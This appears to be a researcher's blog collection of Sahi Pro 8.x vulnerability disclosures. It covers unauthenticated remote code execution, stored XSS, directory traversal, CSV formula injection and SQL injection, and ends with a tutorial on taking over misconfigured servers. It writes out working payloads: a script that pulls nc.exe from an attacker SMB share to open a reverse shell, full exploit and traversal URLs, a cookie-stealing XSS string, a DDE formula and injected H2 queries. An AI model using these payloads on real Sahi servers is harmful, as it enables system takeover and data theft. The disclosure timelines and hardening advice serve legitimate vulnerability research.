CVE-2019-15102 – Sahi pro ( <= 8.x ) Remote Code Execution

It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse the functionalities.

It was found that even with the password protected web portals , an attacker can still bypass and perform all the operations of the interface as there are no server side validations for each request. Here in this example we will demonstrate how an attacker can create any file within sahi pro scripts root folder. This can be extended to all the operations.

This impacts can be maximized with the help of remote execution of sahi scripts feature with the help of testrunner generated URL. As launching these remote execution does not require any kind of authentication / password , chained with the previous bug ( creation of sahi script remotely without password ) results in complete take over of the system running sahi pro .

Here is the detailed proof of concept for the same :

An attacker visits the server running sahi pro. He tries to access the remote editor interface as shown below .

Fig : Password protected login form.

As he observes that the console is password protected , he sends the script creation request directly to the EditorUI_saveScript end point as shown below.

Fig : direct request is sent to the end point with sahi script name and contents

( we make use of _execute API to execute system commands )

We have used fine name as rce.sah to be created and with contents as follows :

_execute(“ping 192.168.0.105 -n 5”);

Here , 192.168.0.105 is IP of attacker machine. We make use of ping as payload because, we already assumed web interface is password protected hence we cannot directly see the output of the log files executed.

 

This vulnerability can be chained further with the next vulnerability :

No password authentication for remote executions of sahi scripts . Testrunner.bat or distributed runs does not have any authentication mechanism that can help an attacker to initiate remote runs on machine . this can be abused to launch a denial of service attack or more severe, remote code execution chained with the previous one.

Fig : testrunner batch file converts the request to a URL request which is then fed to master_runNonDistributed / Distributed endpoints.

The url which is generated can be copied and can be used to launch any remote executions , just changing localhost to remote sahi server .

Attacker can the generated URL directly and execute any script he wants, in this case the malicious script he created that is “rce.sah” as follows :

http://192.168.0.104:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&abortedRetryCount=0&baseURL=https%3A%2F%2Fgoogle.com&browserDeviceParams=ie&browserType=ie&emailPasswordHidden=true&emailProp=&emailProperties=..%5Cconfig%5Cemail.properties&emailTrigger=success%2Cfailure&failureRetryCount=0&host=localhost&isDifferentMasterS=null&isNonDistributedRun=true&isSendEmailS=false&isSingleSessionS=false&logsInfo=html&port=9999&scriptsPathMaster=scripts&sendEmail=false&sendEmailPeriodically=&sendEmailPeriodicallyS=&sendEmailPeriodicallyTime=&showPeriodicSummary=true&startWith=BROWSER&suite=rce.sah&suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&threads=5&useSingleSession=false

 

here just changing suite get parameter , attacker can execute any suite/script of his choice . he executes the script he created before remotely as follows :

Fig : attacker executes his previously created script with the help of testrunner generated URL.

As the payload specified, if the execution is successful , attacker should get a ping request to his machine. This can be confirmed with the help of listening to icmp request using tcpdump as follows :

Tcpdump –I eth0 icmp –vv

Fig : as we can see attacker machine gets a ICMP echo ping request from remote victim machine running sahi pro .

Now we can confirm the remote code execution. Lets now maximize the impact by getting a complete shell of the victim machine. This can be done with many ways..i use SMB to host a reverse shell which is directly executed by remote server.(temporarily hosted on my attacker box ) to achieve the same(same network).

Command :

_execute(“\\\\192.168.0.105\\MENOE\\nc.exe -nv 192.168.0.105 443 -e cmd.exe“);

 

Fig : attacker creates another script with the payload specified above.

 

executing the script with the same unauthenticated endpoint results in code execution with receiving a proper reverse shell.

                                                Fig : >> Reverse shell <<

 

CVE-2018-20472 – Sahi pro ( <= 8.x ) Stored XSS

Sahi Pro web interface is  vulnerable to a Stored XSS . Exploiting this bug needs a prior knowledge of the end to end flow and basic scripting of sahi pro .

Sahi pro is a web application automation tool which helps automation testers to automate their web application tasks . It makes it very easy for end users with their readily available API functions . an end user can create a sahi script either by using their sahi programming language ( similar to javascript ) or can use ruby . We will use sahi language itself for this demo.

Sahi has some interesting features such as web application interface which aggregates all the reports for the sahi script execution tasks. It was found that web module is vulnerable to stored cross site scripting.

Here is the Proof of concept for the same:

fig 1 : sahi script containing XSS payload

Here we have created a simple sahi script which uses a testcase API .

var $tc1 = _testcase(“TC-1″,”<script>alert(document.cookie)</script>”).start();

_log(“testing stored XSS injection”);

$tc1.end();

In the testcase API , as per the documentation provided accepts two parameters ,first one being testcase ID and second one test case description . Both values are reflected back in the web reports  which triggers the XSS vulnerability . save the file as “filename.sah”  and with the help of sahi controller execute the script.

Fig 2 : execute the script in the controller

Now navigate to the executed report in the web report console . XSS is triggered .

  Fig 3 ,4 : Stored XSS triggers .

This can be utilized by a malicious limited user to steal password protected (admin) web reports credentials.

Disclosure timeline :

Reported on : 8 / December / 2018

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

 

CVE-2018-20470 – Sahi pro ( <= 8.x ) Directory traversal

Sahi pro is a application automation tool which is quite popular among automation testers . (https://sahipro.com/ )   Being a former automation tester who transitioned to penetration testing,  who also heavily relied on sahi pro for day to day automation activities, An idea raced in my mind to combine both and start hunting for some security bugs in their products. And here is one of the issue that i found in their product.

sahi pro has some interesting features such  as web reporting interface and web editor which combined and forms report module which aggregates all the automated test execution / suite .  It was found that we can view the source code of any sahi file in the editor to check debug logs, where it highlights failed line or execution flow etc

report interface url can be found at the following location :

http://<ip>:<port>/logs 

In the web editor module , it was observed that there  exists a directory traversal vulnerability which allows any user on the same network to view any files on the victim machine running sahi pro automation software. sahi pro allows users to restrict file access for scripts in their configuration file, but this particular module seems to be vulnerable due to lack of server side validations.

Proof of concept  :

Fig 1 :  shows the reports module which displays and highlights the source code of sahi script file for debugging .

here the get parameter href is vulnerable to directory traversal(can also include remote files  to cause Denial of service on victim browser)

Here href get parameter is referring to location :

href=scripts/csv_injection_demo.sah

if its modified to href=../../supersecret/password.txt , contents of crucial internal files of the victim machine.

Fig 2 : vulnerable to directory traversal.

another snapshot which disclose contents of win.ini file

Fig 3 : vulnerable to directory traversal.

URL vulnerable :

http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected

Disclosure timeline :

Notified on : 8 / December / 2018

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

CVE-2018-20468 – Sahi pro ( <= 8.x ) CSV Injection

This is one of the low risk bug which was found in Sahi Pro. Reports web interface allows a user to export the executed automation scripts/suite in excel format. It is possible to inject the excel formula which results in command execution on the victim who exports it .

Proof of concept :

excel formulas can be injected inside the sahi script as shown previously with stored XSS inside a testcase API as follows.

 script used :

var $tc1 = _testcase(“TC-1″,”=SUM(1+1)*cmd|’ /C calc’!A0”).start();

_log(“testing csv injection”);

$tc1.end();

Execute the following sahi script and take export of the report as follows :

 Fig : executed sahi script with formula injection.

Fig : victim opens the file and clicks yes on warning and the code                                         executes on victim machine .

Disclosure timeline :

Notified on : 8 / December / 2018

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor websitehttps://sahipro.com/

CVE-2018-20469 – Sahi pro ( <= 8.x ) SQL Injection

An issue was discovered in Tyto Sahi Pro ( <= 8.x )
A parameter in the web reports module is vulnerable to  SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.

It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.

Proof of concept :

              Fig 1 : sql query is directly passed as part of GET request

 

Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.

As sahi is using H2 database to store the reports and other data, an end user can exploit this scenario to run h2 database system functions by manipulating the passed SQL query .

               Fig 2 : leak of memory used by sahi application ( memory_used() )

Modified URL :

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

           Fig 3 : leak of database path by sahi application ( database_path() )

Modified URL:

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT database_path() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

       Fig 4 : leak of current database user by sahi application ( user() )

Modified URL: 

http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT user() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS

All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .

Disclosure timeline :

disclosed on : 8/ December / 2018

suggested quick fix till the official patch is released : password protect web reports module

Affected versions : all versions of sahi pro ( <= 8.x ) (web application automation )

vendor website :  https://sahipro.com/

Pawning misconfigured sahi pro automation servers

Hi All . Today I will explain how to pawn a misconfigured sahi pro automation server.

What is sahi pro?

Sahi pro is one of the popular leading automation tool which helps enterprises to automate their web application , desktop and mobile application scenarios .

It is a tough competent to other automation tools such as QTP and selenium . As per my experience sahi pro is much better than the other tools mentioned in few aspects ( object spy and relative API’s ).

Sahi pro allows automation testers to write code either with  their sahi language ( wrapper to JS with awesome full fledged API’s ) , ruby etc

I being a former automation test engineer would recommend their sahi language to automate test scenarios.

In this post ,we will concentrate on web application automation aspect.

Sahi has some other nice extra features ( *interesting* ) such as web based text editor, configuration and web based reports console , remote machine executions on same network.

Why would one keep sahi pro running everytime?

In an enterprise environment , there would be unattended suite executions running all time . which can extend 8 – 24 hrs without monitoring!  . A perfect scenario for any attacker or an internal pentester .

What do you mean by “misconfigured” ?

Sahi allows end users to set a password to these web portal which is neglected majority of times by an end user . (Trust me on this! i have seen too many times. Many do not even know they can set password to these portals!) ( hope sahi also adds a bruteforce proof login forms from next release. )

This looks promising. how much can we get out of this ?

We will see how to gain remote code execution on the target machine running sahi pro with this simple misconfiguration.

So basically , if we need to gain remote code execution on these servers we can divide our tasks as following steps.

  1. Upload a malicious sahi script which executes our desired commands.
  2. find a way to execute these scripts remotely on same network.
  3. Finally find a way to fetch results of our task .

Step 1 : upload a malicious sahi script

As i have specified earlier , sahi has a web based editor to create our script and suite files.  by default sahi runs on port 9999 .

we can access this portal across the network . lets access a remote web portal and create our malicious sahi file.

http://192.168.0.104:9999/_s_/spr/editor/editor.html

Fig 1 : shows the created  malicious sahi script .

here is the code for malicious sahi script :

var $tc1 = _testcase("TC-1","lets get some code execution. ").start();

_navigateTo("https://google.com");
_selectWindow("/google/");
$cmd_output1 = _execute("whoami" , true )
	
$cmd_output2 = _execute("ipconfig",true )

_log("command output1 : "+ $cmd_output1);

_log("command output2 : "+ $cmd_output2);

$tc1.end();

sahi is very similar to javascript ( we can directly call JS native code in our sahi script ) . each sahi script has extension “.sah” . here we have created a fie called rce.sah .

sahi has similar syntax same as javascript. functions which start with “_” are API’s provided by sahi pro. there are hundreds of API’s available to make our task easier . ( https://sahipro.com/docs/sahi-apis/index.html )

in our code we have used a testcase API to make it run as a single testcase (uniform reporting ). We make use of “_execute” API which helps us to execute system commands and external files ( bat, sh etc).

From sahi documentation , this API has following syntax :

_execute($cmd[, $isSync[, $timeout]])

First parameter takes command to be executed . and second parameter is set to true for us ( isSync = true ) so result is returned only on completion of command.  This API returns the result of the command as string.

we finally print the resultant command output using “_log” API.

Step 2 : Find a way to execute the created malicious file 

Each sahi pro installation comes with a “testrunner” file which helps us to give suite executions or execute scripts through command prompt.

Suite files are files which contain bunch of sahi script names to be executed in it (” *.suite “)  . they are very useful for complex scenarios which involve multiple sah files .

by default we can execute only suite/sahi files on our machines using testrunner.bat file . we can modify it to execute scripts on remote machines by editing content of file . change host and port parameter from  “localhost” “9999” in the file to make it either parameterized or hard code it to value we want . (testrunner.bat file is in location userdata/bin/testrunner.bat)

in our case :

modified line :

java -cp %SAHI_HOME%\lib\ant-sahi.jar in.co.sahi.distributed.DSahiRunner %CUSTOM_FIELDS% -isNonDistributedRun true -scriptsPathMaster %SCRIPTS_PATH% -suite %1 -browserDeviceParams %3 -logsInfo “%LOGS_INFO%” -baseURL “%START_URL%” -host 192.168.0.104 -port 9999 -threads %THREADS% -abortedRetryCount %ABORTED_RETRY_COUNT% -failureRetryCount %FAILURE_RETRY_COUNT% -useSingleSession %SINGLE_SESSION% -sendEmail %SEND_EMAIL_REPORT% -emailTrigger “%EMAIL_TRIGGER%” -emailProperties “%EMAIL_PROPERTIES%” -sendEmailPeriodically “%SEND_EMAIL_REPORT_PERIODICALLY%” -sendEmailPeriodicallyTime “%SEND_EMAIL_REPORT_PERIODICALLY_TIME%” -emailPasswordHidden “%EMAIL_PASSWORD_HIDDEN%” -showPeriodicSummary %SHOW_PERIODIC_SUMMARY% -tags %4

So we should have a sahi installation on our system too to execute this ?

since sahi also have open source version ( download it for free!)

Nope! we will see how to skip that later.

Now lets execute it on our remote system using testrunner.bat !

command format :

testrunner.bat rce.sah https://google.com ie

first parameter is the file to be executed , second parameter specifies start URL and finally third one specifies type of browser to be executed on remote systems.

( remember I specified we do not need to install sahi pro? from the above screenshot , we can see our script has converted our task to a http request url! grab it and just modify the script name and host name to use it remotely without installation of sahi on attacker machine )

Step 3 : fetch the results of our execution.

Once our status returned is success . we can see the results on reports portal .

http://192.168.0.104:9999/_s_/dyn/pro/DBReports

Now lets see the report for our specific task execution :

We get code execution!  awesome ! we can enhance this to get a reverse shell , by uploading another powershell script and calling through this malicious sahi file. ( as no restriction in type of file being created . )

 

How can i harden my sahi instance against such attacks?

>> password protect sahi pro web portals . change the default credentials to  strong credentials

https://sahipro.com/docs/using-sahi/restrict-remote-access.html

>> define a fine granular file access provided in sahi pro configuration.

https://sahipro.com/docs/using-sahi/restrict-files-access.html

Shubha dina! 🙂

update : its a full fledged RCE! sahi pro does not have any server side checks for the authenticated requests,  which results in directly calling the functional endpoints. There is no patch as of this date.